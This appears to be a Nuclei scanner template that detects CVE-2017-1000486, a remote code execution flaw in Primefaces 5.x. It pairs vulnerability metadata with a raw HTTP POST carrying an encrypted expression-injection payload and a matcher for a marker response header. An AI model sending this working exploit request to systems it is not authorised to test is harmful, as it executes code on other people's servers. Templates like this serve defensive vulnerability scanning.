id: CVE-2017-1000486

info:
  name: Primetek Primefaces 5.x - Remote Code Execution
  author: Moritz Nentwig
  severity: critical
  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of the Primetek Primefaces application.
  reference:
    - https://github.com/mogwailabs/CVE-2017-1000486
    - https://github.com/pimps/CVE-2017-1000486
    - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
    - https://cryptosense.com/weak-encryption-flaw-in-primefaces/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-1000486
    cwe-id: CWE-326
    epss-score: 0.94104
    epss-percentile: 0.99837
    cpe: cpe:2.3:a:primetek:primefaces:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: primetek
    product: primefaces
  tags: cve2017,cve,primetek,rce,injection,kev,vkev,vuln

http:
  - raw:
      - |
        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip, deflate

        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D

    matchers:
      - type: word
        part: header
        words:
          - 'Mogwailabs: CHECKCHECK'
# digest: 4a0a00473045022011a7f4bcd97ccee9f8495695d45514962aa76ed430d084943b921c53a8546a8e0221009aac5f781cd55526a6cc52d1ff00e23705b64b564f35bdf86afd1afbd6a476f3:922c64590222798bb761d5b6d8e72950